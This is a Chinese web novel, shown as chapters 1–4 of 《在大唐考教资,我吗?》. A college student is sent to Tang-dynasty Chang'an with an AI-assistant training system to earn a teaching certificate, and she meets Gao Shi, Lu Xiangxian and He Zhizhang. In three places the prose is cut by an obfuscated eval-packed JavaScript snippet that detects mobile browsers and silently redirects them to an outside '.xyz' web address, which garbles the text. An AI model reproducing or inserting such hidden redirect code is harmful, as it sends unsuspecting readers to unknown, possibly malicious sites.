《在大唐考教资,我吗?》 1. 第 1 章 暮春时节,一只不知名的鸟儿自长安宫阙深处振翅而飞,羽翼下是太极殿的飞檐,琉璃瓦泛着粼粼波光。 鸟影掠过重重宫墙,朱红墙面在晨曦中愈发鲜红,似是半凝固的血色,庄严艳丽。它飞过朱雀大街,几片羽毛轻飘飘落在青石板铺就的御道,被袅袅炊烟吹拂,悬停于空中。 鸟儿在慈恩寺塔尖稍作停留,铜铃叮咚,梵音缭绕,僧人呢喃的佛语化作晨钟,声声回荡在长安城上空。 它继续向西飞去,越过西市繁华的街肆,越过金光门高耸的城楼,最终在城门外喧杂的人群中停下观望,不知究竟是什么新奇的玩意儿吸引到这样一只展翅高飞、欲意离开长安的孤鸟。 有人注意到城楼上停留的那只不起眼的鸟,他仰着头,日出时分的阳光不怎么刺眼,倒是把那只鸟的羽毛照耀出熠熠生辉的模样,让他忍不住惊叹出声。 真奇怪,明明自己的家乡也有这样品种的鸟,怎得在长安看见它却生出几分高不可攀的敬畏。 朱漆金钉的大门在晨曦中徐徐推开,十丈高的门隙间漏出万缕天光,人群更加骚乱,更是有不少感性的文人落下泪水,恨不得就在原地题诗百篇来称赞长安,守城士兵见怪不怪地维持着秩序。 他近乎喃喃自语,“长安,这就是长安吗?” 一直仰着的脖颈传来酸疼,他觉得自己也要落泪,不出意外的话,这副场景会成为他此生最为动容的画面之一。 可偏偏出了点儿差错,让他那满是震撼的回忆劈了个叉,变成哭笑不得的友人回忆录首篇。 有道陌生声音突兀插进来,回答了他的自言自语,“是啊,此情此景我真想吟诗一首。” 那人清清嗓子,气势很足,倒是吸引了周遭路人的侧目。连带着他也生出几分兴致,难道还没进长安就可以再结识一位诗人朋友吗? “长安啊,你都是人啊;大门啊,真的好大一扇门。” 说完这几句不成诗的古怪诗句,又自顾自傻笑一会儿,后面还鼓起掌来,怎么看都不大正常。 “......” “约莫是脑内有疾,赶紧走吧。” 他挠了挠脸颊,虽不大明白究竟发生了什么,也打算跟着人群迈步离开。 但身后那人叫住了他, “前面那位皮肤黝黑、扎着蓝色辫子、紧皱眉头、裤脚有牛粪的兄台!” 什么时候裤脚沾染上牛粪的!! 他猛地低头察看自己的裤脚,虽是早已被洗得发白的衣裳,但干干净净,没有牛粪。同样也还有好几个人不约而同低下头查看自己的着装,真是一出好计谋。 “抱歉哈,我第一次来长安,人生地不熟的,看你比较有眼缘,请问你愿意和我交个朋友吗?”那人追了上来,带着几分歉意,但听起来倒是真诚。 他终于扭头看去,这下算是看清楚了对方的样貌......竟是位样貌俊秀的女郎。 身高五尺有余,体态修长,穿着一身石榴色的圆领袍,袖口处纹着两只锦鲤,腰间别挂的葫芦样式挂件发出叮铃的声响,衣裳的整体做工走线都并非寻常人家能拥有的,因阿娘早逝,他也学过几种针线走势,此时却一点儿都分辨不出对方所用的针法。 皮肤细腻,指尖白皙,头发只用一根深蓝色发带,但若是仔细观察,那发带也并不简单,白鹤羽翼时隐时现,颇为灵动。 许是哪个大家族的女郎出来游玩。 后撤两步,他微红了些脸,只是掩藏在黝黑肌肤下看不大出来,双手交叉放在胸前,行了个叉手礼。 “在下,高适。不知这位,女郎有何......” 他话说到一半就被对方打断,瞪大眼睛上下打量他一番,动作有几分冒犯但并无恶意,就像是瞧见什么稀奇珍宝一样围着他转悠几圈,然后也学着他的手势,草草行了个礼。 末了,压低声音故作深沉道:“在下,白果,孤身来长安任职。今日见到兄台真是一表人才、气宇轩昂、才高八斗、玉树临风、身躯凛凛、相貌堂堂、逸群之才、才貌双绝——所以,想和高兄交个朋友。” 名叫白果的小娘子露出一个标准的八颗牙假笑,瞬间把她那身造价高昂的复古纯手作唐朝圆领袍的气质拉低,显得有些奇怪。 从没见过这种场面的高适又向后撤了几步,虽然他在来的路上倒也偶然结交到一位好友,两人的性格还有那么点儿相似,心中生出莫名的预感,这二人在日后会成为很好的朋友也说不准。 况且,他也不大会拒绝别人,尤其是这种善意的请求。 按下心中的想法,高适点点头,“白娘子,现在,已经到了,入城的时间,该进去了。” 他说话有点儿结巴,惹得白果噗呲一笑,当然不是笑他的结巴,而是那个称呼。 摆摆手,笑着说:“不用唤我白娘子,叫女郎就好。” 官兵正在前面逐个排查过所和武器,人群的喧闹也小了许多。 两人一前一后站着,高适是个闷性子,刚刚还侃侃而谈的白果也紧紧抿着唇,左右不停张望,新奇的像是第一次出家门,好在她通身不菲的气派,这才没人说些什么。 将过所交给守城官兵,白果抬起头再次望了眼此时的金光门,心脏在胸腔处不停跳动——大唐、长安,我竟然真的来到了这里。 可一想到自己来长安的目的,她又泄了气,指尖在空中虚点,近乎透明色的显示屏出现在面前。 【正在初始化系统——Loading——】 【欢迎您进入,我是您的Ai助手,您可以称呼我为Tea。】 【请学员在一周时间内前往国子监报道,选择您的1对1指导教师; 正式在长安城定居,并结识十个以上的陌生人(无要求,仅为结识即可)】 没错,她是来长安当老师的,而且还是对外汉语教师。 半个月前,好不容易结束地狱般期末考的白果打算在招聘软件中找份实习,即便学校会在下半年安排所有师范生进行集体实习。 但在人人都是卷王的今天,一份实习经验已经算不上什么,周围的同学都恨不得从出生开始就去实习,连带着让她也焦虑起来。 不过最起码她还有一条退路,实在不行就去校门口卖煎饼果子。 期末考结束后还需在学校进行为期一周的小学期,就在她每天睁眼闭眼都是招聘软件时,一位还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735561|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉的老师主动联系了她,说是有个和政府合作的项目在招实习生,工资开的很高,而且对暑假结束后立马衔接的教资考试有很大帮助。 “不过,这份工作是需要全程保密的,可能一整个暑假都回不了家。” 老师给她提了个醒,但怎么听都像是把她忽悠进东南亚割腰子,白果犹豫几秒,问出最关键的问题, “一天多少钱啊?” 老师伸出五根手指头晃了晃。 在衡量自己的腰子和日薪五百块哪个更值钱后,她可耻的心动了。打算回去考虑考虑,明天再给出答复。 回到寝室和父母打了个视频通话,三个人在各大平台上查找那个公司的信息,把毕生所学的找工作防诈骗手段都用上了,最后查出来倒是个很正经的公司,并且准备在一年后上市,怎么瞧都前途无量。 简直是天上掉馅饼,还是猪肉大葱馅儿的。 白果从衣柜里找出自己大一就买的西装外套,拍拍上面的灰和发霉的斑点,把自己从肾虚状态中捯饬到还能看得过去后就打车去面试了。 位置处于市中心的一栋很高档的写字楼,前台小姐姐帮忙刷了门禁卡,白果在观光电梯里看着不断攀升的楼层和景物,感到愈发紧张,握紧了自己的书包肩带。 叮咚一声,到达第20楼。 接待人员的态度很和蔼,面试过程也算是顺利,除了她顺口把自己现代汉语考试没过这事说出来之外,都算顺利。 HR把具体的实习任务递给她,虽然也曾设想过高科技用在日常生活中,但没想到会用在这种培训机构里,看出她的惊讶,HR笑眯眯说:“考试培训只是最基础的一项,日后在各种方面都可以用上,具体用处不能说。” 在白果若有所思的神情中,HR从抽屉里拿出两份协议。 “白同学,如果没有问题的话可以签署这份实习协议了,这一份是保密协议。如果您在日后一年内有任何泄露,都会依法追究您的法律责任。” 气氛变得有些紧张,该说不愧是和政府合作的项目吗?她拿笔签上自己的名字,心中还有种不真实感。 “好了。”HR将合同又重新放回柜子里,然后起身示意白果跟上他,房间的另一扇门被推开。 里面放置着几个透明安置仓,整体装横和目前幻想中的科技世界完全相似,“这里就是白同学你日后实习的地方,需要提前说明一下,在没有完成考试要求前是不允许离开的。” “并且根据你的专业,我们选择把时间放在唐朝,祝你工作顺利。” 如果汉语国际教育要去唐朝......那汉语言文学岂不是要放在宋朝,果然,文学专业的就业黄金期还是在几百年前。 要想就业,就先穿越。 耳边有人在不停呼喊她的名字,白果眨了眨眼,从回忆中走出。 眼前是情绪有些许焦急的高适,见她终于缓过神后才松了口气。两人最终的目的地并不相同,也就在入城后分别。 白果望着他离去的背影,抬起头,有只鸟儿站在城楼高处,停留片刻后便振翅离了长安。 —— 【恭喜学员结识第一位友人——高适】 2. 第 2 章 作为大唐的首都,同样也是世界上无数人梦寐以求的天堂——长安,规模宏大,城门众多。其中,平民百姓主要走的为外郭城城门,共计12座,也就是东南西北每面各开三扇门。 白果是从西面的金光门进入长安的,她需先越过西市前往延寿坊,那里是系统为她安排的员工宿舍。 起初白果还有几分闲心思,慢悠悠在街上瞧着远比想象中精彩的市井百态,手中是一块刚刚烤好的胡麻饼,上面洒满芝麻,浓郁面香中透着淡淡的咸味,就是吃完后嘴里有些干,如果泡在汤里食用味道应该会更好。 忽地想起白居易给杨万里寄胡饼吃时写下的一句诗:胡麻饼样学京都,面脆油香新出炉。 古人都是种草夸夸机吗?白果低头看着只剩下半个的胡饼,也想着写句诗来夸。她皱眉又嚼了半天,平滑大脑闪过几个上学期刚刚学完的古代汉语知识,什么韵部、拗救、押韵......然后就再没然后。 究竟是谁说中文系学生穿越到古代都可以逆袭成为文人之首啊,就算给她个情景文抄公她都想不出来有什么相对应的诗句。 囫囵吞枣吃完早餐,拍拍手上残余的芝麻粒,踮起脚尖努力向远方眺望。 这条大街修得相当宽敞平整,和东面的春明门相通,也算是长安城里除朱雀大街外的主街道。 按照平常体质,仅需六千步就感到小腿酸涩,但今天的新奇劲儿压过身体疲惫,倒不觉得那么累。本想着顺道去西市逛上一逛,可西市通常为日中为市,也就是午时开始营业,到日落前后闭市。她来的太早,只能远远望上一眼后悻悻离去。 此时已是辰时,大约上午七点半左右,也是到了朝食的时辰。最开始进城的人流已经分散开,故而街上行人并不算多,这就显得大摇大摆走在路中间摇扇子的白果更为现眼,硬生生把那么几个正端碗喝粟米粥的小孩儿吸引住。 眯起眼睛指着她扇上的题字,都不约而同笑出声来,又拉着好几个小伙伴一同来瞧:只见正面写着“我很穷”三个朴实无华的大字,而背面则更加直接,墨绿色祥云图案上是“给我钱”几字。 孩童们嗤嗤笑着,都想让自家阿耶也写出个这样有趣的题字。 似是注意到他们叽叽喳喳的讨论声,那人顿住脚步,扭头瞧了瞧,小孩儿们瞬间挪开视线,装作什么都没发生般喝下碗里的残粥。她扬起嘴角,笑声溢了出来,把扇子一合,朝他们点点头便转身离开。 几个圆溜溜的脑袋又凑到一起。 “她听见我们说话了吗?” “应是听见了,我好喜欢她那把扇子。” “那今日下午就去西市买一把呗。” “可我已经没有钱了......” 小孩儿们愁眉苦脸起来,摸着空空的口袋,早知道就不在前几天嘴馋,买那个西域商人的神奇糖果了。虽然好吃,但也很贵,哎呀,现在又嘴馋起来了。 他们长吁短叹一会儿后被各自阿娘叫回了家,或许也没人想到刚刚街上那位气宇轩昂、颇为有趣的小娘子也遇见了个麻烦——被几只嚣张的大鹅拦住了回家的去路。 白果又向前行几百步,已经可以看见延寿坊的围墙,唐朝的每个坊都是一个独立的矩形区域,四周设有围墙,设计格外严密,很好辨认。 单手撑着围墙喘了几口气,她实在走不动了,脚上的布鞋完全没有运动鞋好走路,尤其在这种天气里,闷得慌。 约莫休息了几分钟,脑海里忽然蹦出个问题,有些好奇的向Ai助手询问道:国子监其他夫子都有自己的住宅吗,还是说大家都住在员工宿舍? 【Tea:白果学员您好,长安作为大唐的首都,房价非常高昂,大部分官员是负担不起房费的,多以租房居住。您的同事们,也就是国子监大部分夫子的工资在唐朝官员体系中属于中等水平,可以保证在较好地段租房。至于员工宿舍,按照优惠可免去前三月的房租,后期以月租1200文进行缴费。】 Ai助手无机质的冰冷声音敲碎了她的大唐梦,为什么在这种教师培训里还要操心房租,而且......缴费所用的钱是从哪里来的? 【Tea:白果学员您好,本培训采用最高端技术,让您身临其境去体悟、感受教师行业,从而成功考取教师资格证。日常生活、社交、教学等方方面面的问题,都是您在成为教师后会遇见的,即便您不选择从事教师行业,也是要进行长时间学习。 为了让您提前适应毕业后的社会化生活,本培训将为超高自由度,并从各方面逐项渗透考核。根据您的问题,缴费所用的钱源于您的国子监俸禄(月薪2000文)(后续会逐步提高),也请注意合理规划您的工资使用。】 她在内心默默算起账来:如果抛去每月房租,那么还剩下八百文可以自由支配,虽然坊内有水井可以免费打水,但米面粮油都是必要支出,更别提还有各种家具置办和人情交往......北漂第一课,没有房子就可以收拾东西滚回家了。 还没毕业就已经感到了深深压力,这就是成年人的世界吗?白果又叹了口气,把面前浮现着的透明页面关闭。 为了五百块日薪,就算让她一个人和安禄山PK胡旋舞也可以,反正她跟着小学教育专业的同学学过一段。 使劲儿拍拍自己的脸颊,太阳已渐渐走至头顶,而她也终于来到延寿坊的门口。白果颤巍巍伸出手,想倒在地上直接装死,刚刚在长安城竞走完的脆皮大学生已经失去所有力气和手段了。 可天不随人愿,古有拦路虎,今有拦路鹅。 只见为首的大白鹅高昂着脖子,一双豆豆眼炯炯有神,雄赳赳拦在路中央。白果欲绕道而行,谁知这鹅却不依不饶,扑扇着翅膀,嘎嘎大叫,直直俯冲过来。 她快速向旁扭身,刚好和这只肥鹅的攻击错开。 哼哼,中计了吧。一把抓住鹅的长脖子提溜起来,从它的豆豆眼里看到几分震惊,不停在手中挣扎,鹅掌在自己的圆领袍上踩出好几处灰印子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735562|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼瞅着自己的首领被俘,其余大鹅也飞扑过来,被白果“挟天子以令诸鹅”,敢动她一下,就把它们老大变成铁锅炖大鹅。这下双方成了对峙局面,都不敢轻举妄动。 想当年,她也是十里八乡有名的斗鹅将军,制服了所有不听话的大鹅,让村庄里陷入前所未有的祥和。 不过这只鹅,是谁养的?稍稍握紧手中的长脖子,又听得一声鹅叫。 一道声音从头顶树梢响起,嗓音里很是惊叹:“没想到白羽将军竟败在一无名小卒手里,真叫鄙人难以相信,唉,延寿坊的恶霸终于被擒。” 他从树上跳了下来,身上还夹着几片树叶,叹息般摇摇脑袋。这人模样俊俏,明眸善睐,穿着件竹青色缺胯四襆袍,嘴角噙着点漫不经心的浅笑,眼尾微微上挑,浑身气质颇有股魏晋风流。 白果瞥他一眼,问道:“这鹅是你养的?” 男人摆摆手,“在下可当不起如此殊荣,除你手上这只,其它都是延寿坊各家养的。” 他又从腰间拿出折扇,用扇骨敲了敲白果手上抓着的白羽将军,在对方即将发飙前撤回手,幸灾乐祸地说:“只有这只最凶、最爱咬人的,是郝女侠养的,现在成了一方恶霸。” 听完他这话,白果若有所思地看着手中还在不停挣扎的鹅,明显对刚刚打它头的男人有旧怨,这下又结了新仇。 于是附在在它耳边小声道:“我可以放了你,但不许再咬我,刚刚打你的那个男的可以随便咬。” “嘎!” 大鹅和她统一战线,这下轮到那正看戏的男人慌了,他刚刚藏在树上就是为了躲这群鹅,本来想偷摸躲着等旁人把鹅引走,谁成想风水轮流转,又转回来了。 大步躲到树后,急忙摆手道:“小娘子应该就是白娘子吧,在下陆象先,也是国子监的同僚。” 啧,竟然是同事吗,那就不好办了。 把鹅放在地上,白果踹它屁股一脚,这鹅虽生气,但到底知道谁的拳脚更厉害,嘎嘎几声带着自己的小弟们离开了。 从树后探出脑袋的陆象先看着那群鹅的背影终于松了口气,连带着最开始那股潇洒飘逸的初印象也消失得差不多。面前是自己未来同僚怀疑的目光。 他扶了扶自己有些歪的幞头,对救命恩人兼同僚兼邻居行了个见面礼,“咳咳,张宅主在一月前便告知我,隔壁房子租给了位姓白的女郎,来长安教书。加之在下听闻国子监即将来位女夫子,便大胆猜测——” “相逢即是缘,更别提还与白娘子有同僚和邻居的缘分。”他一甩衣袍,眯起眼睛笑起来,这时候倒像只老谋深算的狐狸,“延寿坊的路有些绕,就由在下带路吧。” 叽里呱啦说完一大堆后颇为殷切地看向对方,折扇都开始摇起来了,仿佛刚刚发生的一切都是幻觉。但白果不语,只是一味地摇头。 伸手指了指,“陆兄,那只鹅在你身后。” “!!!” 嘎嘎嘎!(吃鹅一脚!) 3. 第 3 章 “嘶,几日不见,白羽将军啄人的功夫又长进不少。” 走在前面带路的陆象先捂着自己被鹅霸啄过的俊秀脸庞,本来还算干净的衣裳沾上不少泥巴和几个清晰的鹅掌印。 他这人倒是个自来熟,即便身后的“游客”不搭理他也能自顾自絮叨半天,就差没把自己太爷爷家有几亩良田供出来了。 白果有些敷衍地应着他的话,细细打量着周围的建筑样貌,坊内街道规划整洁,屋舍以松柏为骨,青瓦覆顶,种植树木多为槐树,此时恰逢花期,只消在这条林荫小道上游走一番,便是衣角都染上花香。 她抬起头,透过斑斓树影看见了天空,等不着急时定要独自一人好好感受这条路。 继续跟着导游向前百米,有那么几个稚童趴在墙上向陆象先打招呼,又好奇地瞅了瞅他身后的陌生人,叽叽喳喳讨论起来。 她扬起头对他们笑了笑,接着从袖袋里掏出一把亮晶晶的小玩意儿抛给他们,几个孩子被砸了一脑袋,有些懵地打开袋子,闻起来甜甜的……竟是饴糖!相信只需今日过后,延寿坊的孩子圈就都知道这里来了个出手阔绰又好看的女郎了。 陆象先扭头狐疑地瞧她几眼,也伸手讨要饴糖。 摇摇头,道:“没有了……” 就当他想耍赖去抢墙上咯咯笑孩童们的糖果时,手里被塞了块精致糕点,不像是这边常见的样式,许是家乡特产。 她认真地看着他,黑白分明的眼中满是真诚,“但还给陆兄留下一块糕点,就当作是带路的酬劳。” 他笑出声来,向白果正式行了个见面礼, “某姓陆,名象先,字希仲,苏州吴县人士。家父曾任国子监博士,自幼承蒙家学,略通经史,现忝居国子录事之职。今日得见女郎,实乃三生有幸,望日后多多指教,共谋社稷之福。” ……完蛋,她好像没有准备这么正式的见面说辞,刚好借鉴一下,等下次和别人交朋友时还可以用。 【恭喜学员结识第二位友人/同僚:陆象先】 小插曲一晃而过,两人继续前行,越是向里走就越是可以看出贫富差距。延寿坊距离国子监所在的务本坊间隔三个坊区,同样靠近皇城和西市,算是繁华地段的住宅区。 用1200文月租在这里搞到一间房子已经可以称得上是白给,相当于用三千块在首都的二环至三环之间租到房子。 那个未曾谋面的张宅主真是慈善家—— 还未等她在心里多夸几句,陆导游已经停下步伐,指着面前一瞧就是久无人居,四壁斑驳,布满蜘蛛网与青苔的破落房子。 窗棂残破,风吹过时还能听见房屋沙哑声,他伸出指尖轻轻碰了碰门,嘎吱一声,那已被白蚁腐蚀得差不多的木门也倒塌在地,溅起一层厚厚的积灰。 几缕残阳透进屋内,陈设简陋,仅余一张朽木桌案和几把歪斜椅凳,笔墨纸砚也早已蒙尘,布满时光痕迹。 她被灰尘呛住,捂着鼻子向后撤,打了好几个喷嚏。 “我们到了,就是这间房。” 收回刚刚的话,这哪里是慈善家,分明就是要挂在路灯的可恨资本家。 白果沉默良久,放出句狠话:“我要去大理寺起诉你们!” “别开玩笑了,你有钱吗就去起诉。”陆象先耸耸肩,又指了指仅一面低墙之隔的同款破草屋,“旁边是我家,欢迎女郎你来做客,就是茶水之类的需要自带。” “......” 原来不是帮凶,是难兄啊。白果绝望闭上眼,怪不得系统会给她免除前三个月的房租,半晌后忽然发问:“陆兄,现在去街上抢劫,大理寺要判多少年?” “现在的行情我也不知道,估摸着三年起步吧。”陆象先掰着手指算了算,怎么瞧都很有经验的样子。两个穷光蛋对视一眼,同时长叹一口气。长安啊长安,真是让人又爱又恨的存在。 她谢过带路的陆象先,打算稍微修整房子后再前往国子监报到,完成下一个任务。 本打算回自己草屋的陆象先又想起了什么,顿住脚步回头指着白果门前用米糊贴上的桃符,他好奇上面那几行字许久,拿着询问不少同僚都是一头雾水,就连张宅主自己也不知道当时为什么要放上这么一段话。 许是上一任租客留下的,但年代久远,也没人记得那人模样。莫名的,他觉得这位女郎会知道问题答案。 白果皱着眉把目光从房中移至门前,细细分辨上面已然褪色的字迹—— 上联:三爱两人一终身 下联:提高个性创两全 横批:二独一发 原来教资知识点在这里等着她呢,还好她在实习前有把科目一的教师职业道德规范和教师观、学生观、教学观大概背了一遍,下意识将知道的所有知识点背出声。 末了,颇为回味地望向陆象先,看着他清澈愚蠢的双眼竟油然生出几分当老师的自豪感。 “我讲明白了吗?” 请注意她的反问,这又是面试的加分点。 陆象先拂了拂不存在的长须,若有所思道:“似懂非懂,似有若无,似幻非真……一言以蔽之,十窍九开。” 那便是一窍不通了。 和对方道别,白果将刚刚倒在地上的大门扶起,暂且先当个摆设,她倒不觉得会有小偷来这里偷东西。 一来,现在是杜甫诗中“稻米流脂粟米白,公私仓廪俱丰实”的盛唐时期,二来……小偷到了这房子都要施舍点儿钱再走,不然良心过不去。 本来上班就烦人,现在麻烦的事情更多了。 抬起头,太阳高挂在天空中央,约莫午时,国子监夏季上班时间约为卯时(5-7点)至酉时(17-19点)。白果并未熟练掌握将二十四小时换算成十二时辰,总要在心中默背,一一对应后才能说出具体时间。 按照社交礼仪,现在并不是前往国子监拜师的好时候,还是先把这屋子简单打扫一番,等吃了晡食后再去也不迟。 这么想着,在屋内灶台旁找到个缺角的木盆,用力将上面积攒的灰尘吹去,又用指尖拭去由墙角蔓延至它身上的苔藓,这才看出木盆本来的材质,一种在此时还算昂贵的木材:胡桃木。 心中闪过个念头,她起身从屋外不远的水井里打了盆水,一点点把屋内仅存的几件家具擦拭干净,这间陋屋终于渐渐显出本来的样貌。 白果虽不算太懂木材,但也能看出这家具绝非普通人家可以负担得起的,更别提她在餐桌垫脚发现的几卷写满批注的书籍,还有被墨汁浸透的臭臭书案……上一任租客会是个怎样的人呢,想来或许也与她有所相似,怀揣着无限希冀来到这长安城吧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735563|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 感慨过后,属于j人的DNA开始让她在脑内规划设计布局。这房屋虽简陋,可细数一番,竟然什么都不缺。该有的物件齐全,没发霉,只是有层积灰,稍加冲洗后便可正常使用。 虽说摆放位置不大符合风水学,但没有二百平的房子也就不用谈什么风水了。 卧房内有扇通往后院的小门,几块碎瓦散落其间,看上去荒芜许久,杂草丛生,唯有颗亭亭玉立的枇杷树。等过段时间可以将枇杷摘下来酿酒,作为免费的人情礼物送出去倒也不错。 从厨室里翻出个碗,在屋后小院刨点儿土放进碗内压实,最后把从墙上扒拉下的苔藓摆上去,一个免费的观赏小盆栽就这么完成了。 拍拍手上的灰,白果一连做了七八个盆栽,将那已经发霉的瓷碗都废物利用掉。 她又从中挑出两个品相不错的摆在书案前的窗沿边,虽忙得灰头土脸,但倒有种悠然自得之感,只是少了素琴和一盏热茶。 如果自己在一本种田悠闲经营类小说中,那么现在绝对可以称得上完美开局。可白果不是,所以她需要琢磨着带什么见面礼去国子监选择指导教师,唉,成年人的世界真是充满各种挑战。 为什么大学不能开设专门的课程,总比那些创新创业课要实在多吧。 没等她琢磨个明白,屋外有几个孩童大声喊她出去,“白女郎,坊外有位骡夫在等你呢,说是约定好的时辰。” 她从窗户里探出脑袋,原来是刚刚趴在墙上瞧她的稚童们,估计是得了饴糖的好处,这才慌慌张张跑来传递消息。 小脸上不知抹了什么,黑黢黢的,几双眼睛狡黠地转着,再次得到几块饴糖报酬后欢呼雀跃极了,抱着怀里的大白鹅又跑去别处撒欢。 这鹅果然是人手一只。 拍拍身上的灰,她疾步向外走,见面礼就算了吧,真诚一点儿,毕竟态度决定高度。 说起那骡夫,是在经过西市附近时预约好的,白果询问过包月服务,几番砍价也只砍到六百文钱。但也不能每天纯靠脚走,想来想去还是钱的问题,没有钱真当是寸步难行啊。 长安城的道路修得平整,骡车坐起来也不觉得有多颠簸。路上约莫花费半个小时,这时候人流量大,时不时需要避让行人。若是平常步行大概需要40分钟左右,也不是不能接受。 车辙碾过青石板路,缓缓停驻。抬首间,一座巍峨建筑赫然入目,正是国子监。步入其中,青砖铺就长道,两侧古柏参天,直到这时才恍然生出些实感,自己要在长安切切实实扎根生活下去。 一道身影注意到仰头闲逛的陌生人,准确叫出她的名字:“你便是即将任职的国子助教,白果,白女郎?” 白果转过身,下意识想要点头说老师好,意识到不对劲后僵在原地,急忙行了个礼,道:“小女子正是。” 抬起头,被面前之人周身不俗的气质惊讶一秒。 他缓缓颔首,将一本书籍递给她,说道:“你的弟子行船海上,遭逢海寇,其中一人负伤,目前修养在床,得空时记得去看望。” 白果接过书,上面清楚写着自己需要负责的15名外国学生,而自己的1对1指导教师正是此人——贺知章。 【恭喜学员结识导师——贺知章】 也是,哪有学生挑导师的,一般都是坐等分配。 4. 第 4 章 长安城外的竹林小筑中,其中一人身着青衫,蹲坐在竹席之上,对面坐着举杯轻酌的友人。竹席半卷,斜阳透过窗棂洒在雕花案几上,光斑倒影在酒杯之中,与周围的槐花香交织,浑然融为一体。衣摆沾染上几分酒气,有道是酒不醉,人自醉。 那人端起酒杯,笑着给友人抛去个麻烦,“如此便劳烦季真提携那位白女郎了。” 遇到麻烦事就来请喝酒,这酒席简直如同鸿门宴,可他偏偏还要来。 贺知章放下酒杯,衣袂随风轻扬,眉间残余几分郁色,抬眸瞥了眼早已醉醺醺的陆象先,问道:“当真是圣上的意思?” 劳烦?倒不算是个麻烦,用荒诞不经来形容应当更加确切。便是武皇时也未曾有如此先例,国子监何时任用过女子担任夫子。虽说他并不介意在此时开先河,但也可想而知,那女郎独自一人要面对的压力与刁难。 陆象先点点头,以当今圣上的经历和作风来看,他便是世上最不可能批准此事的人,可偏偏就是下旨奉了那位名不见经传的女郎为国子监直讲,从九品上官职。整件事蹊跷到匪夷所思的地步,这消息也只有小部分人知道,并未流传太广。 不过好在安排讲授的位置比较微妙,教授那些外族人汉学。 说来此项工作本不应放在国子监,政府设有鸿胪寺负责接待和管理外国使节,在里面提供一些基本的语言和文化培训。但自从三年前有人上奏,请求重视外国使节的汉学培养问题后,这一方面的管理权也渐渐移至国子监,并专门划地开设课程,针对有天赋的外国使节进行培训。 是试探,还是别的什么。水太深,除了圣上没人想明白。 他深深叹口气,“故而这事只有交由季真才最为可靠,我也要去试试那位女郎究竟是何许人也。” 分明是想要把麻烦事情一甩,自己逍遥快活。贺知章了解自己这老朋友的性子,唇角微勾,反问一句:“哦?又要像初遇那时扮成丢了盘缠的卖货郎,向我讨要糕点吃?” 两人相视一眼,不约而同笑了出声,罢了罢了,这世上如此多奇事,这一件又算得了如何。许是他们见识浅薄,猜不出当今圣上背后的用意,但总归不是坏事。 树影婆娑,酒液在杯中微微晃动,映出二人略带笑意的神情。酒香在唇齿间流转,可这之后也各有心思。 贺知章接下如此烫手山芋,一半是友人所托,另一半完全出于自身考虑。他不希望有任何事跳脱预测之外,由自己考量总归胜于从他人口中道听途说。 因此,他一早便在国子监门口等待那位女郎的身影,直到晡食过后也未曾瞧见。 慢慢抚平手中把持许久的书册,垂眸思索该如何告知白女郎的学员遭遇海盗之事。那唯一受伤的学员他提前看望过,按常理来说,盗贼大都不会冒着风险抢劫官家船只,那学生受的伤也过于巧合,其中定然有所蹊跷。 只是这问题不能由他解决,至于解决的人选——悄声走至那身着石榴色圆领袍、仰头观赏古树的女郎身后,听得她口中呢喃的话语: “此时此景真应该吟诗一首...算了,吟不出来。” 如此真诚的人倒也少见。他朗声叫住对方的名字,得来个慌慌张张的行礼,不时瞥他几眼,一副好奇又害怕的神情。 这副毫无心机的模样,再结合下午陆象先大笑着告知他的话,倒不是个硬茬,也不像和圣上有关系的。脑中闪过十几种可能与大致分析,也仅是眨眼一瞬又恢复如常。 将手中的书册递去,同样也把第一个任务布置完成,迎着对方毫无掩饰的惊讶,他缓缓行了个礼,道:“在下贺知章,字季真,会稽永兴人。蒙圣上恩典,现任国子监丞一职。由在下指点女郎平日事宜,愿同心协力,共襄盛举。” 这回轮到白果纠结起来,现在到底要不要自我介绍?可她还没想好该怎么编,只能照猫画虎般学着,略显尴尬地笑了笑。完蛋,但凡见到有点儿类似教导主任的人,她就忍不住磕巴,并由心生出几分畏惧心理。 好在贺知章并未对她前言不搭后语的糊话说些什么,仅是再次提醒可以抽时间看看那位负伤的学生,并把所有学生的资料整理一遍。因为此次事件,她所负责的班级延后一周教学,刚好可以用来备课。 【提示:你的导师布置了第一个任务——探望受伤学员(可由此查明海寇事件真相)。 注:有助于学员深入了解学生性格,也可避免学生产生恐惧心理,初步拉近师生关系,便于之后的教学任务。】 “如此,我便先带着女郎你熟悉国子监的环境。” 白果点点头,亦步亦趋地跟在贺知章身后,领官服、认路、和各个同事上司打招呼问好,甚至还瞧见了张九龄和李林甫......几乎所有事都用不着她动手,只需在导师身后礼貌微笑就好。 她在心中感慨数次:这世上怎会有如此Top级别的导师?! 